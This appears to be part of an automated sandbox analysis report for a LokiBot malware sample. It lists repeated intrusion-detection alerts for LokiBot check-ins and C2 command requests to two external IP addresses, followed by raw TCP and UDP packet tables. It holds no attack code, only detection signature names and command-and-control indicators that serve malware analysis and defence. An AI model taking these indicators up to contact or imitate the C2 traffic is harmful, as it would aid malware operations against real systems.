01/14/22-14:26:25.951454	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.2.4	172.67.198.111
01/14/22-14:26:25.951454	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49845	80	192.168.2.4	172.67.198.111
01/14/22-14:26:31.541839	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.2.4	104.21.60.171
01/14/22-14:26:31.541839	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.2.4	104.21.60.171
01/14/22-14:26:31.541839	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.2.4	104.21.60.171
01/14/22-14:26:31.541839	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49846	80	192.168.2.4	104.21.60.171
01/14/22-14:26:35.369697	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49847	80	192.168.2.4	172.67.198.111
01/14/22-14:26:35.369697	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49847	80	192.168.2.4	172.67.198.111
01/14/22-14:26:35.369697	TCP	2025381	ET TROJAN LokiBot Checkin	49847	80	192.168.2.4	172.67.198.111
01/14/22-14:26:35.369697	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49847	80	192.168.2.4	172.67.198.111
01/14/22-14:26:37.609826	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.2.4	104.21.60.171
01/14/22-14:26:37.609826	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.2.4	104.21.60.171
01/14/22-14:26:37.609826	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.2.4	104.21.60.171
01/14/22-14:26:37.609826	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49855	80	192.168.2.4	104.21.60.171
01/14/22-14:26:38.999421	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49862	80	192.168.2.4	172.67.198.111
01/14/22-14:26:38.999421	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49862	80	192.168.2.4	172.67.198.111
01/14/22-14:26:38.999421	TCP	2025381	ET TROJAN LokiBot Checkin	49862	80	192.168.2.4	172.67.198.111
01/14/22-14:26:38.999421	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49862	80	192.168.2.4	172.67.198.111
01/14/22-14:26:40.507004	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49870	80	192.168.2.4	172.67.198.111
01/14/22-14:26:40.507004	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49870	80	192.168.2.4	172.67.198.111
01/14/22-14:26:40.507004	TCP	2025381	ET TROJAN LokiBot Checkin	49870	80	192.168.2.4	172.67.198.111
01/14/22-14:26:40.507004	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49870	80	192.168.2.4	172.67.198.111
01/14/22-14:26:42.324571	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49874	80	192.168.2.4	172.67.198.111
01/14/22-14:26:42.324571	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49874	80	192.168.2.4	172.67.198.111
01/14/22-14:26:42.324571	TCP	2025381	ET TROJAN LokiBot Checkin	49874	80	192.168.2.4	172.67.198.111
01/14/22-14:26:42.324571	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49874	80	192.168.2.4	172.67.198.111
01/14/22-14:26:44.323356	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49875	80	192.168.2.4	104.21.60.171
01/14/22-14:26:44.323356	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49875	80	192.168.2.4	104.21.60.171
01/14/22-14:26:44.323356	TCP	2025381	ET TROJAN LokiBot Checkin	49875	80	192.168.2.4	104.21.60.171
01/14/22-14:26:44.323356	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49875	80	192.168.2.4	104.21.60.171
01/14/22-14:26:45.981353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49876	80	192.168.2.4	172.67.198.111
01/14/22-14:26:45.981353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49876	80	192.168.2.4	172.67.198.111
01/14/22-14:26:45.981353	TCP	2025381	ET TROJAN LokiBot Checkin	49876	80	192.168.2.4	172.67.198.111
01/14/22-14:26:45.981353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49876	80	192.168.2.4	172.67.198.111
01/14/22-14:26:47.483133	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49877	80	192.168.2.4	104.21.60.171
01/14/22-14:26:47.483133	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49877	80	192.168.2.4	104.21.60.171
01/14/22-14:26:47.483133	TCP	2025381	ET TROJAN LokiBot Checkin	49877	80	192.168.2.4	104.21.60.171
01/14/22-14:26:47.483133	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49877	80	192.168.2.4	104.21.60.171
01/14/22-14:26:48.973044	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49878	80	192.168.2.4	104.21.60.171
01/14/22-14:26:48.973044	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49878	80	192.168.2.4	104.21.60.171
01/14/22-14:26:48.973044	TCP	2025381	ET TROJAN LokiBot Checkin	49878	80	192.168.2.4	104.21.60.171
01/14/22-14:26:48.973044	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49878	80	192.168.2.4	104.21.60.171
01/14/22-14:26:50.474064	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49879	80	192.168.2.4	172.67.198.111
01/14/22-14:26:50.474064	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49879	80	192.168.2.4	172.67.198.111
01/14/22-14:26:50.474064	TCP	2025381	ET TROJAN LokiBot Checkin	49879	80	192.168.2.4	172.67.198.111
01/14/22-14:26:50.474064	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49879	80	192.168.2.4	172.67.198.111
01/14/22-14:26:52.091601	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49880	80	192.168.2.4	172.67.198.111
01/14/22-14:26:52.091601	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49880	80	192.168.2.4	172.67.198.111
01/14/22-14:26:52.091601	TCP	2025381	ET TROJAN LokiBot Checkin	49880	80	192.168.2.4	172.67.198.111
01/14/22-14:26:52.091601	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49880	80	192.168.2.4	172.67.198.111
01/14/22-14:26:55.192747	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49881	80	192.168.2.4	104.21.60.171
01/14/22-14:26:55.192747	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49881	80	192.168.2.4	104.21.60.171
01/14/22-14:26:55.192747	TCP	2025381	ET TROJAN LokiBot Checkin	49881	80	192.168.2.4	104.21.60.171
01/14/22-14:26:55.192747	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49881	80	192.168.2.4	104.21.60.171
01/14/22-14:26:56.736108	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49882	80	192.168.2.4	104.21.60.171
01/14/22-14:26:56.736108	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49882	80	192.168.2.4	104.21.60.171
01/14/22-14:26:56.736108	TCP	2025381	ET TROJAN LokiBot Checkin	49882	80	192.168.2.4	104.21.60.171
01/14/22-14:26:56.736108	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49882	80	192.168.2.4	104.21.60.171
01/14/22-14:26:58.241653	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49883	80	192.168.2.4	104.21.60.171
01/14/22-14:26:58.241653	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49883	80	192.168.2.4	104.21.60.171
01/14/22-14:26:58.241653	TCP	2025381	ET TROJAN LokiBot Checkin	49883	80	192.168.2.4	104.21.60.171
01/14/22-14:26:58.241653	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49883	80	192.168.2.4	104.21.60.171
01/14/22-14:27:01.355495	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49885	80	192.168.2.4	104.21.60.171
01/14/22-14:27:01.355495	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49885	80	192.168.2.4	104.21.60.171
01/14/22-14:27:01.355495	TCP	2025381	ET TROJAN LokiBot Checkin	49885	80	192.168.2.4	104.21.60.171
01/14/22-14:27:01.355495	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49885	80	192.168.2.4	104.21.60.171
01/14/22-14:27:03.312330	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49886	80	192.168.2.4	172.67.198.111
01/14/22-14:27:03.312330	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49886	80	192.168.2.4	172.67.198.111
01/14/22-14:27:03.312330	TCP	2025381	ET TROJAN LokiBot Checkin	49886	80	192.168.2.4	172.67.198.111
01/14/22-14:27:03.312330	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49886	80	192.168.2.4	172.67.198.111
01/14/22-14:27:05.323353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49887	80	192.168.2.4	172.67.198.111
01/14/22-14:27:05.323353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49887	80	192.168.2.4	172.67.198.111
01/14/22-14:27:05.323353	TCP	2025381	ET TROJAN LokiBot Checkin	49887	80	192.168.2.4	172.67.198.111
01/14/22-14:27:05.323353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49887	80	192.168.2.4	172.67.198.111
01/14/22-14:27:08.256759	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49888	80	192.168.2.4	172.67.198.111
01/14/22-14:27:08.256759	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49888	80	192.168.2.4	172.67.198.111
01/14/22-14:27:08.256759	TCP	2025381	ET TROJAN LokiBot Checkin	49888	80	192.168.2.4	172.67.198.111
01/14/22-14:27:08.256759	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49888	80	192.168.2.4	172.67.198.111
01/14/22-14:27:09.950748	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49889	80	192.168.2.4	104.21.60.171
01/14/22-14:27:09.950748	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49889	80	192.168.2.4	104.21.60.171
01/14/22-14:27:09.950748	TCP	2025381	ET TROJAN LokiBot Checkin	49889	80	192.168.2.4	104.21.60.171
01/14/22-14:27:09.950748	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49889	80	192.168.2.4	104.21.60.171
01/14/22-14:27:11.589922	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49890	80	192.168.2.4	172.67.198.111
01/14/22-14:27:11.589922	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49890	80	192.168.2.4	172.67.198.111
01/14/22-14:27:11.589922	TCP	2025381	ET TROJAN LokiBot Checkin	49890	80	192.168.2.4	172.67.198.111
01/14/22-14:27:11.589922	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49890	80	192.168.2.4	172.67.198.111
01/14/22-14:27:13.021372	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49891	80	192.168.2.4	104.21.60.171
01/14/22-14:27:13.021372	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49891	80	192.168.2.4	104.21.60.171
01/14/22-14:27:13.021372	TCP	2025381	ET TROJAN LokiBot Checkin	49891	80	192.168.2.4	104.21.60.171
01/14/22-14:27:13.021372	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49891	80	192.168.2.4	104.21.60.171
01/14/22-14:27:14.416694	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49892	80	192.168.2.4	172.67.198.111
01/14/22-14:27:14.416694	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49892	80	192.168.2.4	172.67.198.111
01/14/22-14:27:14.416694	TCP	2025381	ET TROJAN LokiBot Checkin	49892	80	192.168.2.4	172.67.198.111
01/14/22-14:27:14.416694	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49892	80	192.168.2.4	172.67.198.111
01/14/22-14:27:15.866209	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49893	80	192.168.2.4	104.21.60.171
01/14/22-14:27:15.866209	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49893	80	192.168.2.4	104.21.60.171
01/14/22-14:27:15.866209	TCP	2025381	ET TROJAN LokiBot Checkin	49893	80	192.168.2.4	104.21.60.171
01/14/22-14:27:15.866209	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49893	80	192.168.2.4	104.21.60.171
01/14/22-14:27:17.283952	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49894	80	192.168.2.4	104.21.60.171
01/14/22-14:27:17.283952	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49894	80	192.168.2.4	104.21.60.171
01/14/22-14:27:17.283952	TCP	2025381	ET TROJAN LokiBot Checkin	49894	80	192.168.2.4	104.21.60.171
01/14/22-14:27:17.283952	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49894	80	192.168.2.4	104.21.60.171
01/14/22-14:27:18.647021	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49895	80	192.168.2.4	104.21.60.171
01/14/22-14:27:18.647021	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49895	80	192.168.2.4	104.21.60.171
01/14/22-14:27:18.647021	TCP	2025381	ET TROJAN LokiBot Checkin	49895	80	192.168.2.4	104.21.60.171
01/14/22-14:27:18.647021	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49895	80	192.168.2.4	104.21.60.171

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 14:25:08.461890936 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462043047 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462141037 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462203979 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462255955 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462275982 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462393045 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462426901 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.462483883 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.478625059 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.478894949 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.478910923 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.478990078 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479005098 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479068041 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479084969 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479099989 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479115009 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479173899 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479190111 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479219913 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479237080 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479252100 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479290009 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.479542017 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479557991 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479573965 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479589939 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479604006 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479620934 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479635954 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479746103 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479762077 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479779005 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479794979 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479819059 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479835987 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479938984 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479955912 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.479990959 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.480096102 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.480113029 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.480129004 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.480144024 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.480175972 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.480190992 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.480218887 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.480235100 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.481970072 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.482047081 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:08.513525963 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:08.513669014 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:18.096652031 CET	49770	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:18.172437906 CET	80	49770	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:18.172559023 CET	49770	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:18.175312996 CET	49770	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:18.259957075 CET	80	49770	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:18.260062933 CET	49770	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:18.348066092 CET	80	49770	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:18.682698011 CET	80	49770	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:18.682831049 CET	49770	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:18.684098005 CET	80	49770	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:18.684140921 CET	49770	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:18.742661953 CET	80	49770	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:19.841773033 CET	49771	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:19.897301912 CET	80	49771	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:19.897445917 CET	49771	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:19.900110006 CET	49771	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:19.937967062 CET	80	49771	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:19.938043118 CET	49771	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:19.972281933 CET	80	49771	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:20.352523088 CET	80	49771	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:20.352603912 CET	80	49771	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:20.352715969 CET	49771	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:20.352797031 CET	49771	80	192.168.2.4	104.21.60.171
Jan 14, 2022 14:25:20.443968058 CET	80	49771	104.21.60.171	192.168.2.4
Jan 14, 2022 14:25:21.100265980 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100362062 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100455999 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100528002 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100599051 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100646019 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100672007 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100711107 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100743055 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.100778103 CET	49703	443	192.168.2.4	204.79.197.200
Jan 14, 2022 14:25:21.116976023 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117002010 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117012978 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117023945 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117037058 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117047071 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117058039 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117089987 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117180109 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117206097 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117228031 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117238998 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117290974 CET	443	49703	204.79.197.200	192.168.2.4
Jan 14, 2022 14:25:21.117326975 CET	443	49703	204.79.197.200	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 14:25:18.056624889 CET	53097	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:18.082303047 CET	53	53097	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:19.820640087 CET	49257	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:19.840229034 CET	53	49257	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:21.168129921 CET	62389	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:21.190475941 CET	53	62389	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:23.134006977 CET	49910	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:23.153997898 CET	53	49910	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:25.017433882 CET	55854	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:25.042206049 CET	53	55854	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:26.369333982 CET	64549	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:26.386985064 CET	53	64549	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:27.930038929 CET	63153	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:27.955796957 CET	53	63153	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:30.142900944 CET	52991	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:30.163605928 CET	53	52991	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:31.608867884 CET	53700	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:31.626277924 CET	53	53700	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:32.993509054 CET	51726	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:33.019890070 CET	53	51726	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:34.589889050 CET	56794	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:34.609421015 CET	53	56794	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:35.890702963 CET	56534	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:35.910164118 CET	53	56534	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:37.271411896 CET	56627	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:37.289113045 CET	53	56627	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:38.860811949 CET	56621	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:38.878523111 CET	53	56621	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:41.510195971 CET	64078	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:41.529974937 CET	53	64078	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:43.901807070 CET	64801	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:43.926961899 CET	53	64801	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:46.438158035 CET	61721	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:46.466119051 CET	53	61721	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:48.264461994 CET	51255	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:48.285516024 CET	53	51255	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:50.015372992 CET	61522	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:50.034662008 CET	53	61522	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:51.699372053 CET	52337	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:51.718610048 CET	53	52337	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:53.013324976 CET	55046	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:53.040281057 CET	53	55046	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:54.860903025 CET	49612	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:54.880390882 CET	53	49612	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:57.426099062 CET	49285	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:57.448802948 CET	53	49285	8.8.8.8	192.168.2.4
Jan 14, 2022 14:25:59.264833927 CET	50601	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:25:59.284394979 CET	53	50601	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:01.205447912 CET	60875	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:01.225044012 CET	53	60875	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:02.654102087 CET	56448	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:02.673482895 CET	53	56448	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:04.113353968 CET	59172	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:04.130435944 CET	53	59172	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:06.077826977 CET	60579	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:06.095539093 CET	53	60579	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:07.638314962 CET	59794	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:07.657782078 CET	53	59794	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:09.248760939 CET	60689	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:09.268064976 CET	53	60689	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:12.172061920 CET	50904	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:12.191605091 CET	53	50904	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:17.260008097 CET	57525	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:17.279648066 CET	53	57525	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:21.247929096 CET	53418	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:21.269567013 CET	53	53418	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:25.912548065 CET	62833	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:25.929693937 CET	53	62833	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:31.500365019 CET	59260	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:31.519778967 CET	53	59260	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:35.253140926 CET	49944	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:35.270370007 CET	53	49944	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:37.545703888 CET	63300	53	192.168.2.4	8.8.8.8
